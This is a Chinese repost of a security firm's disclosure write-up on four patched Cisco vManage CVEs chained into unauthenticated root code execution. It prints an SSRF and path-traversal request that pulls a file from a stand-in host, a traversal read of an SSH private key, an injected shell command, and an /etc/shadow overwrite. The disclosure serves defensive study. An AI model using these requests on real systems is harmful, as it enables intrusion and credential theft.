思科vManage漏洞分析:四漏洞链实现未授权远程代码执行

news/2025/10/31 19:20:33/文章来源:https://www.cnblogs.com/qife122/p/19181070

SD-PWN — 第3部分 — Cisco vManage — 又一天,又一次网络接管

这是四部分系列中的第三篇文章,前两部分请参阅:

  • 第1部分 — Silver Peak Unity Orchestrator
  • 第2部分 — Citrix SD-WAN Center

本文继续我们的SD-WAN之旅。如果您还没有阅读第1和第2部分,强烈建议您查看一下。简而言之,我们在SD-WAN市场的四个主要产品中发现了关键的无认证RCE漏洞,这次我们将讨论Cisco Viptela vManage。

Cisco Viptela vManage

Cisco Viptela vManage是Cisco SD-WAN基础设施的核心,管理网络中的所有不同端点。由于SD-WAN设计的集中式特性,从安全角度来看,vManage是一个单点故障。

通过串联4个不同的漏洞,我们能够在vManage机器上获得无认证的root权限RCE,这些机器通常托管在公司的云环境中。攻击者不需要任何先前的配置知识即可利用这些漏洞。

如果您的组织使用Cisco的Viptela SD-WAN解决方案,请紧急更新您的设备。最新的固件已经包含了下面列出的所有问题的补丁。

技术细节

系统的初始攻击向量是运行在vManage机器443端口上的Web管理服务器。该Web服务器使用JBoss框架运行Java小程序。Web管理接口的无认证攻击面在web.xml文件中列出,明确定义了所有可访问的URL路径。

SSRF + 任意文件写入 — CVE-2020–27128

在查看可能的入口点时,我们注意到了/dataservice入口点。我们不确定代码的确切意图,但我们的假设是不同的端点使用dataservice URL共享数据和统计信息。

/dataservice/statistics/download/dr/filelist处理程序负责下载系统中两台机器之间的统计信息。它接收相邻机器的IP地址和统计文件名,并下载以供后续使用。

完全没有进行用户输入验证,导致了多个漏洞。首先,任何IP都可以通过sourcevManageIp参数传递给处理程序,允许进行SSRF攻击。其次,tokenfileType参数中的目录遍历允许攻击者将上述数据下载到任何目标路径,甚至可以覆盖现有文件。

服务器以vmanage用户身份运行,允许覆盖一些有趣的文件。

此外,该处理程序没有受到任何CSRF机制的保护。

POST /dataservice/statistics/download/dr/filelist HTTP/1.1
Host: 192.168.100.2:8443
Content-Length: 210
Origin: https://192.168.100.2:8443
Content-Type: application/json{"queue":0, "fileType":"/../../../../../../../tmp/", "deviceIp":"", "sourcevManageIp":"1.2.3.4:12345", "fileList" : [{"file" : "droppeb.bin", "token":"../../../../../../../../../../../"}]}

将导致服务器GET以下路径:

https://1.2.3.4:12345/dataservice/statistics/download/remoteprocessing/file/../../../../../../../dropped.bin

并将文件内容写入/opt/data/app-server/statistics/queue-0//../../../../../../../tmp/dropped.bin

尽管这是一个可能被利用到RCE的关键漏洞,但它不是最终利用链的一部分。

未授权文件读取 + 目录遍历 — CVE-2020–26073

在上面的处理程序旁边,我们注意到另一个有趣的处理程序 — /dataservice/disasterrecovery/download/token/

它接收一个参数 — 要读取的文件...再次,没有执行用户输入验证,允许进行易于利用的目录遍历。攻击者能够读取vManage用户可访问的任何文件。

GET /dataservice/disasterrecovery/download/token/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2Fetc%2Fviptela%2F.ssh%2Fid_dsa HTTP/1.1
Host: 192.168.100.2:443

将读取/etc/viptela/.ssh/id_dsa的内容。

SSH密钥

/etc/viptela/.ssh/id_dsa是用于SSH连接的秘密私钥,具有vmanage用户权限即可读取。它允许攻击者以vmanage-admin身份通过SSH连接。

vmanage-admin的登录二进制文件是viptela_cli,就像admin一样,尽管vmanage-admin无法访问常规的CLI控制台。这是在viptela_cli的main函数中决定的,该函数验证用户名。否则,用户可以通过SSH连接发送单个命令,这提供了一些攻击面。

viptela_cli中的命令注入 — CVE-2020–27129

使用上述SSH密钥登录后,viptela_cli解析用户提供的命令。通过SSH连接发送的任何命令在执行前都会经过验证。

通常只允许以scp -f开头的命令。不幸的是,对命令的其余部分没有执行任何清理,允许攻击者使用分号注入另一个命令。

scp -f -h; touch /tmp/exploit;

上面的命令将以vmanage-admin用户身份运行。

使用busybox.suid进行权限提升 — CVE-2020–26074

在寻找系统中提升权限的不同选项时,我们注意到了一个特殊的suid文件 — busybox.suid。文件系统中的SUID位将在每次执行时将二进制文件的权限提升为root。busybox.suid允许以root身份运行多个busybox小程序。

一个有趣的小程序是tftp,它允许使用tftp协议向系统上传和下载文件。没有对目标路径进行验证,使恶意用户能够以root身份用任何给定数据覆盖任何文件。这使得攻击者能够完全控制系统。

一个基本的例子是用新的root密码覆盖/etc/shadow文件,然后简单地运行su来获得root访问权限。

完整RCE利用链

  1. 使用目录遍历漏洞读取vmanage-admin的私有SSH密钥
  2. 通过SSH登录并注入一个将运行权限提升的命令
  3. 使用busybox.suid的tftp小程序覆盖/etc/shadow
  4. 运行su命令获得root命令执行

请注意,这只是利用这些漏洞的一种方式。可能会找到其他可能更简单的利用链。

时间线

Realmode Labs要感谢Cisco及其PSIRT在报告和修复这些漏洞过程中的出色沟通。

  • 2020-07-31 — Realmode Labs向Cisco PSIRT发送初始报告
  • 2020-07-31 — Cisco PSIRT确认报告,分配经理
  • 2020-11-02 — Cisco PSIRT分配CVE编号,发布修复软件
  • 2020-11-04 — 发布安全公告和CVE
  • 2020-11-23 — 本报告发布

请确保在LinkedIn上关注我们,或通过contact@realmodelabs.com联系我们,以获取下一个SD-PWN漏洞帖子。

如果您有兴趣对您的某个产品进行安全审计,请联系我们。我们的团队由最高水平的研究人员组成,在发现最难以捉摸的漏洞方面有着良好的记录。

参考资料

漏洞1 — SSRF + 任意文件写入 — CVE-2020–27128
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-file-Y2JSRNRb

漏洞2 — 未授权文件读取 + 目录遍历 — CVE-2020–26073
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vman-traversal-hQh24tmk

漏洞3 — viptela_cli中的命令注入 — CVE-2020–27129
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-privilege-zPmMf73k

漏洞4 — 使用busybox.suid进行权限提升 — CVE-2020–26074
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-vmanage-escalation-Jhqs5Skf
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/952149.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java流程控制练习——打印三角形及debug调试

Java流程控制练习——打印三角形及debug调试练习————用*号打印三角形 public class test_demo {static void main(String[] args) {//打印一个5行的三角形for (int i = 1; i <=5; i++) {for (int j = 5; j>…

CH585驱动CH271播放音频

前言: 本文提供CH585通过双路PWM驱动271芯片,进而实现驱动音频。相较单路PWM,优点在于不需要调节RC电路,且外围简单。 操作指令: ①通过ffmpeg命令行工具将wav格式文件转换为sbc格式文件,转换成的文件需手动将.s…

10.31 —— (VP)2023icpc济南

这把打得中规中矩,前期一道签到题出得有点慢了;最后一道铜牌题关键思路是对的,但还是做法有问题超时了。 \(D\) 纯签到 \(J\):每一次考虑排好一整个前缀,那么每次操作至少会让前缀长度加 \(2\),只需要选择 当前已…

MIM + PEFT + MLP + Q

零样本学习------稳健的语义特征能力----富含语义信息的训练数据集----使用SOS数据集(主要关注语义重要区域内的低频特征) 密集预测任务-----处理高频细节--------擅长密集预测的与训练模型----使用COS模型(善于识别…

《程序员修炼之道 - 从小工到专家》阅读笔记2

3 石头汤与煮青蛙 两个方面,一还是软件的熵当中的含义,喜欢书里面的这段话:大多数的项目的拖 延都是一天一天发生的,系统一个特性一个特性的偏离其规范.一个又一个的补丁被打 到某段代码上,直到最初的代码一点没有留下…

《程序员修炼之道 - 从小工到专家》阅读笔记3

5 你的知识资产 关于学习的一个章节,提到了不少如何学习,把学习知识作为投资一样看待,分析的也 很在理.自认为在这方面还是赶上了书中的要求,不然也不会看到这本书了_,学习是 一个过程,不会有立杆见影的效果,当然我们不…

《程序员修炼之道 - 从小工到专家》阅读笔记1

1.我的源码让猫给吃了 不要寻找借口,从自身找原因 2.软件的熵 一句话:不以善小而不为,勿以恶小而为之. 从初期就要做好规范,不要因为是poc这样的前提而放松对代码的规范,现在的项目就有这种问题,初期的时候有人认为(自…

Java流程控制——break,continue,goto

Java流程控制——break,continue,gotobreak,continue语句在任何循环语句的主体部分,都可以使用break语句控制循环流程。 break用于强制退出循环,不执行循环中剩余的语句。(在switch中也使用) continue语句用于在循…

读《代码大全2》第三部分有感

《代码大全2》第三部分“变量”,看似聚焦于软件开发中最基础的“变量”概念,却以极致的细节与深度,打破了我对“变量只是存储数据的容器”的浅层认知。这部分从变量使用的常规问题、命名规则,到基本与不常见数据类…

A History of Large Language Models阅读心得(1)

https://gregorygundersen.com/blog/2025/10/01/large-language-models/ 为什么要word embedding? 如果不对词汇进行embedding,而是直接基于词语去统计自然语言数据的话,会出现数据稀疏的问题(data sparsity)。因为…

20232324 2025-2026-1 《网络与系统攻防技术》实验四实验报告

20232324 2025-2026-1 《网络与系统攻防技术》实验四实验报告1.实验内容 1.1实验目标通过实操掌握恶意代码分析、逆向工程及网络取证的核心方法,理解恶意代码的特性、反分析技术与攻击逻辑,明晰僵尸网络机制及 IRC 协…

【Python 基础】第 2 期:环境搭建

在开始编写 Python 代码前,还需要搭建 Python 的开发环境。电脑是没办法直接读懂 Python 代码的,而是需要一个解释器,实时把代码翻译成字节码,字节码再转换成 0 和 1,电脑就能读懂了。 Python 的运行过程就是翻译…

revit api 对话框taskdialog 和maindialog

revit api 对话框taskdialog 和maindialogpublic Autodesk.Revit.UI.Result Execute(ExternalCommandData commandData,ref string message, Autodesk.Revit.DB.ElementSet elements) {Application app = commandData.…

YOLO算法原理详解系列 第001期-YOLOv1 算法原理详解 - 实践

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

revit api structure type判断

revit api structure type判断通过StructuralType区分结构柱,结构梁,结构支撑和独立基础public void GetStructuralType(FamilyInstance familyInstance) {string message = "";switch (familyInstance.St…

读《代码大全2》第二部分有感

《代码大全2》的第二部分“高质量的代码”,宛如一位严苛的工匠在传授“打磨技艺”的精髓。如果说第一部分是为软件构建“打地基”,那这部分便是教我们如何用精准的手法,将“砖块”(代码)砌成坚固且美观的“墙体”…

读《代码大全2》第一部分有感

翻开《代码大全2》,第一部分“奠定基础”便像一把精准的钥匙,打开了我对软件构建认知的新大门。这部分没有陷入复杂的代码细节,而是从宏观视角切入,将软件开发的底层逻辑与核心原则娓娓道来,让我对“如何做好软件…

Modbus协议存储区学习笔记

于我而言,风光无限是你,跌落尘埃也是你,重要的是你,而不是怎样的你。——《天官赐福》1️⃣ 核心思想:通信 = 数据交互 首先,我们要明白一个最基本的道理:所有通信的本质,都是在交换数据!在Modbus协议里,设备…

CF1168C And Reachability

比较唐的思路是相同位上相邻为 \(1\) 的数连边,看能否从 \(x\) 走到 \(y\) 即可。 你发现这样不太好做,我们写个 DP,设 \(f_{i, j}\) 表示能到 \(i\) 这个点且 \(< i\) 第 \(j\) 位为 \(1\) 的数是哪一个(最大的…

分布式专题——32 BIO、NIO编程与直接内存、零拷贝深入辨析 - 教程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …